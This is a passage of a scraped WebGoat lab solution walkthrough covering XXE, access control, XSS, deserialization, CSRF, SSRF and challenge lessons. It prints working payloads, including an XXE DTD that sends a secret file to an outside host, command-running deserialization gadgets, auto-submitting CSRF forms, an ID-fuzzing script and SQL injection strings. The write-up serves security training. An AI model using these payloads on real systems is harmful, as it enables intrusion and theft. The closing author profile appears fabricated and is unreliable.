  • Locate the query to start.mc in the Network tab and click on Parameters.
  • Notice the parameters {"username":"CaptainJack","password":"BlackPearl"}.

(A4) XML External Entities (XXE):

XXE

(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (113) Try submitting the form and see what happens
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (114) Use ZAP/Burp to intercept the request and try to include your own DTD
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (115) Try to include a doctype "(<!DOCTYPE...)" in the xml
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (116) The include can be as follows: ]>
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (117) Do not forget to reference the entity
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (118) In the comment you should references: &root;test

  • Open the Development Tools in the browser, and go to the Network tab.
  • On WebGoat, post a comment.
  • Locate the query to simple in the Network tab and click on Edit and Resend.
  • Edit the body with: <?xml version="1.0"?><!DOCTYPE comment [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;</text></comment>.

(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (119)

(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (120) Take a look at the content type
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (121) Does the endpoint only accept json messages?

  • Open the Development Tools in the browser, and go to the Network tab.
  • On WebGoat, post a comment.
  • Locate the query to content-type in the Network tab and click on Edit and Resend.
  • Edit the body with: <?xml version="1.0"?><!DOCTYPE comment [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;</text></comment>. and edit the header Content-Type: application/json with Content-Type: application/xml.

(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (122)

  1. Although it is not a challenge, a small mistake has crept into the lesson, be careful to enter the right URL to be able to perform the test.

attack.dtd

<?xml version="1.0" encoding="UTF-8"?> <!ENTITY ping SYSTEM 'http://host:port/landing?test=HelloWorld' >

Request Body

<?xml version="1.0"?> <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://host:port/files/username/attack.dtd" > %remote; ]> <comment> <text>test&ping;</text> </comment> 

(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (123) This assignment is more complicated you need to upload the contents of a file to the attackers site (WebWolf in this case)
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (124) In this case you cannot combine external entities in combination with internal entities.
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (125) Use parameter entities to perform the attack, see for example: https://www.acunetix.com/blog/articles/xml-external-entity-xxe-limitations/
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (126) An example DTD can be found here WebGoat/https://raw.githubusercontent.com/PiAil/pwning-webgoat/master/images/example.dtd, include this DTD in the xml comment
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (127) Use for the comment, be aware to replace the url accordingly: %remote;]>test&send;

  • Upload contents_file.dtd on WebWolf.
  • Open the Development Tools in the browser, and go to the Network tab.
  • On WebGoat, post a comment.
  • Locate the query to blind in the Network tab and click on Edit and Resend.
  • Edit the body of the query as specified below.

contents_file.dtd

<?xml version="1.0" encoding="UTF-8"?> <!ENTITY % all "<!ENTITY send SYSTEM 'http://host:port/landing?%file;' >" >%all;

Request Body

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE xxe [ <!ENTITY % file SYSTEM "file:///home/webgoat/.webgoat-8.0.0.M25/XXE/secret.txt" > <!ENTITY % dtd SYSTEM "http://host:port/files/username/contents_file.dtd" > %dtd;]> <comment> <text>test&send;</text> </comment>

(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (128)

(A5) Broken Access Control:

Insecure Direct Object References

(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (129) Log in first. User Name is tom, password is cat.

Identify with the provided credentials.

(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (130) Lesson number does not turn green on validation.

(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (131) Make sure you have logged in on the previous step/page
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (132) View the response using developer tools or a proxy.
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (133) The attributes are not visible and have nothing to do with size, color or name

Attributes are: role, userID.

(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (134) Look at the previous request for profile, this is similar
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (135) You will need data from the previous request for your own profile
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (136) Append your id to the previous request (i.e. .../profile/{yourId})

  • Open the Development Tools in the browser, and go to the Network tab.
  • In the lesson 3, click on View Profile.
  • Locate the query to blind in the Network tab and click on Response.
  • Notice the paramter userID, the expected answer is WebGoat/IDOR/profile/userID_value.

(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (137)

(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (138) The default request here won't work at all, so you will need to manually craft the request or tamper it with a proxy
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (139) You will likely need to 'fuzz' to try different values for the userId at the end of the Url
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (140) Try incrementing the id value. It's not a simple +1, but it's also not too far off
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (141) For editing the other user's profile, you will need to use the proxy or manually craft the request again
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (142) To edit the other user's profile, you will use the same Url you did to view the other user's profile
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (143) To edit, You will need to change the method, what is the RESTful method used for 'update' or 'edit'?
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (144) You will also need the body of the request (will look something like the profile)
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (145) The request should go to ... /WebGoat/IDOR/profile/{Buffalo Bills Id}
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (146) Your payload should look something like ... {"role" : 1,"color" : "red","size" : "small","name" : "Tom Cat","userId" : "2342388"}

View Another Profile:
The script below fuzz the URL found in the previous exercise to find another profile. We find one at 2342388.

import requests def idor_5(): index = 2342300 headers = { 'Cookie': COOKIE, } while True: r = requests.get('http://192.168.99.100:8080/WebGoat/IDOR/profile/{}'.format(index), headers=headers) if r.status_code != 500 and index != 2342384: print("Index: {}".format(index)) return index += 1 idor_5()

Edit Another Profile:
Send a PUT request to http://192.168.99.100:8080/WebGoat/IDOR/profile/2342388 with header Content-Type: application/json and body {"role":1, "color":"red", "size":"large", "name":"Buffalo Bill", "userId":2342388}

Missing Function Level Access Control

(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (147) You can inspect the DOM or review the source in the proxy request/response cycle.
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (148) Look for indications of something that would not be available to a typical user
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (149) Look for something a super-user or administator might have available to them

  • Right-click on the Log Out element, and click on Inspect Element
  • Just below in the HTML, we can see hidden fields: Users, Config.

(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (150)

(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (151) There is an easier way and a 'harder' way to achieve this, the easier way involves one simple change in a GET request.
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (152) If you haven't found the hidden menus from the earlier exercise, go do that first.
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (153) When you look at the users page, there is a hint that more info is viewable by a given role.
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (154) For the easy way, have you tried tampering the GET request? Different content-types?
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (155) For the 'easy' way, modify the GET request to /users to include 'Content-Type: application/json'
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (156) Now for the harder way ... it builds on the easier way'
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (157) If the request to view users, were a 'service' or 'RESTful' endpoint, what would be different about it?
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (158) If you're still looking for hints ... try changing the Content-type header as in the GET request.
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (159) You also need to deliver a proper payload for the request (look at how registration works). This should be formatted in line with the content-type you just defined.
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (160) You will want to add WEBGOAT_ADMIN for the user's role. Yes, you'd have to guess/fuzz this in a real-world setting.
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (161) OK, here it is. First, create an admin user ... Change the method to POST, change the content-type to "application/json". And your payload should look something like: {"username":"newUser2","password":"newUser12","matchingPassword":"newUser12","role":"WEBGOAT_ADMIN"}
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (162) Now log in as that user and bring up WebGoat/users. Copy your hash and log back in to your original account and input it there to get credit.

  • Open the Development Tools in the browser, and go to the Network tab.
  • Go to http://host:port/WebGoat/users.
  • Locate the query to users in the Network tab and click on Edit and Resend.
  • Add the header Content-Type: application/json.
  • Check the hash in the response.

(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (163)

(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (164)

(A7) Cross-Site Scripting (XSS):

(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (165) In the left panel, the green checkbox that is supposed to appear after completing all the lessons of a topic does not appear for any of the three lessons.

Cross Site Scripting

(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (166) Main browsers have banned Javascript from the URL bar, contrary to what the suggestion say. Open the Development Tools, and the Console tab instead.

The expected answer is Yes.

(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (167) Think about how the inputs are presumably processed by the application.
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (168) Quantity inputs are probably processed as integer values. Not the best option for inputting text right?
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (169) What information send to the application gets reflected back after being submitted?
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (170) Just try purchasing something. You want your script to be included in the purchase-confirmation.

Put <script>alert()</script> in the box Enter your credit card number:.

(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (171) To search through the client side code, use the developer tools of your browser. (If you don't know how to use them, check the Developer Tools Lesson in the general category.)
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (172) Since you are looking for application code, check the WebGoat/js/goatApp folder for a file that could handle the routes.
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (173) Make sure you add the base route at the start, when submitting your solution.
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (174) Still did not find it? Check the GoatRouter.js file. It should be pretty easy to determine.

  • Open the Development Tools in the browser, and go to the Debugger tab.
  • Locate the goatApp/View/GoatRouter.js file and open it.
  • Look for routes to find 'test/:param': 'testRoute'.
  • The expected answer is then start.mvc#test/.

(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (175)

(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (176) Open a new tab and navigate to the test-route you just figured out in the previous lesson.
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (177) Your url should look something like that http://localhost:8080/WebGoat/start.mvc#REPLACE-WITH-THE-TEST-ROUTE/some\_parameters
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (178) Note how the parameters you send to the test-route get reflected back to the page. Now add your JavaScript to it.
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (179) You have to use script tags, so your JavaScript code gets executed when being rendered into the DOM.
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (180) Since you are working with an URL, you might have to URL-encode your parameters.
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (181) Replace '/' with '%2F' in your URL parameters.

  • Open the Development Tools in the browser, and go to the Console tab.
  • Navigate to the URL http://host:port/WebGoat/start.mvc#test/<script>webgoat.customjs.phoneHome()<%2Fscript>.
  • Retrieve the number in the function output.

(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (182)

1. Are trusted websites immune to XSS attacks?

Solution 4: No because the browser trusts the website if it is acknowledged trusted, then the browser does not know that the script is malicious.

2. When do XSS attacks occur?

Solution 3: The data is included in dynamic content that is sent to a web user without being validated for malicious content.

3. What are Stored XSS attacks?

Solution 1: The script is permanently stored on the server and the victim gets the malicious script when requesting information from the server.

4. What are Reflected XSS attacks?

Solution 2: They reflect the injected script off the web server. That occurs when input sent to the web server is part of the request.

5. Is JavaScript the only way to perform XSS attacks?

Solution 4: No there are many other ways. Like HTML, Flash or any other type of code that the browser executes.

Cross Site Scripting (stored)
  • Open the Development Tools in the browser, and go to the Network tab.
  • Comment with phoneHome Response is <script>webgoat.customjs.phoneHome()</script>.
  • Retrieve the number in the function output.

(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (183)

Cross Site Scripting (mitigation)

(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (184) You do not store the user input in this example. Try to encode the user's input right before you place it into the HTML document.
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (185) Make use of JavaServer Pages Standard Tag Library (JSTL) and JSP Expression Language.
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (186) Take a look at OWASP Java Encoder Project.
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (187) Do not forget to reference the tag libs and choose "e" as prefix.

  • The first line shoud contain: <%@ taglib uri="https://www.owasp.org/index.php/OWASP_Java_Encoder_Project" %>
  • Replace <%= request.getParameter("first_name")%> with ${e:forHtml(param.first_name)}.
  • Replace <%= request.getParameter("last_name")%> with ${e:forHtml(param.last_name)}.

(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (188) Try to have a look at the AntiSamy documentation.

The following code validate the lesson.

import org.owasp.validator.html.*; import MyCommentDAO; public class AntiSamyController { public void saveNewComment(int threadID, int userID, String newComment){ Policy p = Policy.getInstance("antisamy-slashdot.xml"); AntiSamy as = new AntiSamy(); CleanResults cr = as.scan(newComment, p, AntiSamy.DOM); MyCommentDAO.addComment(threadID, userID, cr.getCleanHTML()); } } 

(A8) Insecure Deserialization:

Insecure Deserialization

There was some solid work from earlier contributors on this one, which were sadly red herrings. Solution is serializing a VulnerableTaskHolder object created with parameters suitable for the system. For windows it will be something that keeps the system busy for 5 seconds, many people seem to choose to ping localhost: "ping localhost -n 5" will do nicely. For linux, a "sleep 5" gets the job done.

Windows payload:rO0ABXNyADFvcmcuZHVtbXkuaW5zZWN1cmUuZnJhbWV3b3JrLlZ1bG5lcmFibGVUYXNrSG9sZGVyAAAAAAAAAAICAANMABZyZXF1ZXN0ZWRFeGVjdXRpb25UaW1ldAAZTGphdmEvdGltZS9Mb2NhbERhdGVUaW1lO0wACnRhc2tBY3Rpb250ABJMamF2YS9sYW5nL1N0cmluZztMAAh0YXNrTmFtZXEAfgACeHBzcgANamF2YS50aW1lLlNlcpVdhLobIkiyDAAAeHB3DgUAAAfjDAoXFDULkHQseHQAE3BpbmcgbG9jYWxob3N0IC1uIDV0AA5jcnVtcGV0c3dhaXRlcg==

Linux payload:rO0ABXNyADFvcmcuZHVtbXkuaW5zZWN1cmUuZnJhbWV3b3JrLlZ1bG5lcmFibGVUYXNrSG9sZGVyAAAAAAAAAAICAANMABZyZXF1ZXN0ZWRFeGVjdXRpb25UaW1ldAAZTGphdmEvdGltZS9Mb2NhbERhdGVUaW1lO0wACnRhc2tBY3Rpb250ABJMamF2YS9sYW5nL1N0cmluZztMAAh0YXNrTmFtZXEAfgACeHBzcgANamF2YS50aW1lLlNlcpVdhLobIkiyDAAAeHB3DgUAAAfjDAsAATgb5CBEeHQAB3NsZWVwIDV0AA5jcnVtcGV0c3dhaXRlcg

Code to generate payload; you can run this method as a test.

public void createPayload() throws Exception {VulnerableTaskHolder o = new VulnerableTaskHolder("namenotimportant", "sleep 5");ByteArrayOutputStream baos = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(baos);oos.writeObject(o);oos.close();System.out.println(Base64.getEncoder().encodeToString(baos.toByteArray()));}

Please note that this was only verified on a Windows machine and the Linux payload has been generated blindly.

(A9) Vulnerable Components:

Vulnerable Components

Copy-paste Ok<script>XSS</script> in each box.

(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (189) This lesson does not seem to work.

For the deserialization, go to the link: http://www.pwntester.com/blog/2013/12/23/rce-via-xstream-object-deserialization38/ to read about why it works. The following payload should work.

<sorted-set> <string>foo</string> <dynamic-proxy> <interface>java.lang.Comparable</interface> <handler class="java.beans.EventHandler"> <target class="java.lang.ProcessBuilder"> <command> <string>/Applications/Calculator.app/Contents/MacOS/Calculator</string> </command> </target> <action>start</action> </handler> </dynamic-proxy> </sorted-set> 

(A8:2013) Request Forgery:

Cross-Site Request Forgeries

(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (190) The form has hidden inputs.
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (191) You will need to use an external page and/or script to trigger it.
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (192) Try creating a local page or one that is uploaded and points to this form as its action.
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (193) The trigger can be manual or scripted to happen automatically

Save the following code in a file csrf.html and open it in a web browser.

<form name="attack" action="http://host:port/WebGoat/csrf/basic-get-flag" method="POST"> <input type="hidden" name='csrf' value='true'> </form> <script>document.attack.submit();</script> 

(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (194) Again, you will need to submit from an external domain/host to trigger this action. While CSRF can often be triggered from the same host (e.g. via persisted payload), this doesn't work that way.
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (195) Remember, you need to mimic the existing workflow/form.
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (196) This one has a weak anti-CSRF protection, but you do need to overcome (mimic) it

Save the following code in a file csrf.html and open it in a web browser.

<form name="attack" action="http://host:port/WebGoat/csrf/review" method="POST"> <input type="hidden" name='reviewText' value='This App Rocks'> <input type="hidden" name='stars' value='5'> <input type="hidden" name='validateReq' value='2aa14227b9a13d0bede0388a7fba9aa9'> </form> <script>document.attack.submit();</script> 

(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (197) Lesson number does not turn green on validation.

(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (198) Look at the content-type.
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (199) Try to post the same message with content-type text/plain
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (200) The json can be put into a hidden field inside

Save the following code in a file csrf.html and open it in a web browser.

<form name="attack" enctype="text/plain" action="http://host:port/WebGoat/csrf/feedback/message" method="POST"> <input type="hidden" name='{"name": "Test", "email": "[emailprotected]", "subject": "service", "message":"dsaffd"}'> </form> <script>document.attack.submit();</script>

(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (201) First create a new account with csrf-username
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (202) Create a form which will log you in as this user (hint 1) and upload it to WebWolf
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (203) Visit this assignment again

Follow the instructions.

Server-Side Request Forgeries

(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (204) You should use an HTTP proxy to intercept the request and change the URL.
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (205) If Tom is images/tom.png, Jerry would be images/jerry.png.

  • Open the Development Tools in the browser, and go to the Network tab.
  • On WebGoat click on Steal the Cheese.
  • Locate the query to task1 in the Network tab and click on Edit and Resend.
  • Modify the body of the request with url=images/jerry.png and send it again.

(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (206)

(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (207) You need to put the protocol, "http://" in front of ifconfig.pro.

  • Open the Development Tools in the browser, and go to the Network tab.
  • On WebGoat click on Steal the Cheese.
  • Locate the query to task2 in the Network tab and click on Edit and Resend.
  • Modify the body of the request with url=http://ifconfig.pro and send it again.

(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (208)

Client side:

Bypass front-end restrictions
  • Open the Development Tools in the browser, and go to the Network tab.
  • On WebGoat click on submit without editing the parameters.
  • Locate the query to FieldRestrictions in the Network tab and click on Edit and Resend.
  • Modify the body of the request with select=option3&radio=option3&checkbox=a&shortInput=123456 and send it again.

(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (209)

  • Open the Development Tools in the browser, and go to the Network tab.
  • On WebGoat click on submit without editing the parameters.
  • Locate the query to frontendValidation in the Network tab and click on Edit and Resend.
  • Modify the body of the request with field1=abcz&field2=123z&field3=abc+123+ABC'z&field4=sevenz&field5=01101z&field6=90210-1111z&field7=301-604-4882z&error=0 and send it again.

(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (210)

HTML tampering

(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (211) Try to change the number of items and see what is happening
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (212) Is the price part of the HTML request?
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (213) Intercept the request and manipulate the price before submitting it.

  • Open the Development Tools in the browser, and go to the Network tab.
  • On WebGoat click on Chekout without editing the parameters.
  • Locate the query to task in the Network tab and click on Edit and Resend.
  • Modify the body of the request with QTY=2&Total=0 and send it again.

(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (214)

Client side filtering

(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (215) The information displayed when an employee is chosen from the drop down menu is stored on the client side.
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (216) Use Firebug to find where the information is stored on the client side.
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (217) Examine the hidden table to see if there is anyone listed who is not in the drop down menu.
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (218) Look in the last row of the hidden table.

  • Right-click on the Select user scrolling element, and click on Inspect Element
  • Just below in the HTML, there is a hidden table, in which information about Neville Bartholomew is present.
  • Its salary is 450000.

(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (219)

(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (220) Look through the web page inspect the sources etc
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (221) Try to see the flow of request from the page to the backen
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (222) client.side.filtering.free.hint3

  • Open the Development Tools in the browser, and go to the Network tab.
  • On WebGoat click on the CHECKOUT CODE case then click on Chekout without editing the parameters.
  • Locate the query to coupons in the Network tab and click on Response.
  • Notice the get_it_for_free code to get a discount of 100%.

Challenges:

Admin lost password
  • Download the image http://host:port/WebGoat/images/webgoat2.png.
  • Open it in a text editor.
  • Look up for the string admin to find the password !!webgoat_admin_1234!!.
Without password
  • Username: Larry
  • Password: ' or 1=1 --
Creating a new account

This challenge is exactly the same as (A1) Injection - SQL Injection (advanced) 5.

Admin password reset
Without account

https://resources.infosecinstitute.com/http-verb-tempering-bypassing-web-authentication-and-authorization/#gref

(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (2024)
Top Articles
Latest Posts
Article information

Author: Stevie Stamm

Last Updated:

Views: 6750

Rating: 5 / 5 (80 voted)

Reviews: 95% of readers found this page helpful

Author information

Name: Stevie Stamm

Birthday: 1996-06-22

Address: Apt. 419 4200 Sipes Estate, East Delmerview, WY 05617

Phone: +342332224300

Job: Future Advertising Analyst

Hobby: Leather crafting, Puzzles, Leather crafting, scrapbook, Urban exploration, Cabaret, Skateboarding

Introduction: My name is Stevie Stamm, I am a colorful, sparkling, splendid, vast, open, hilarious, tender person who loves writing and wants to share my knowledge and understanding with you.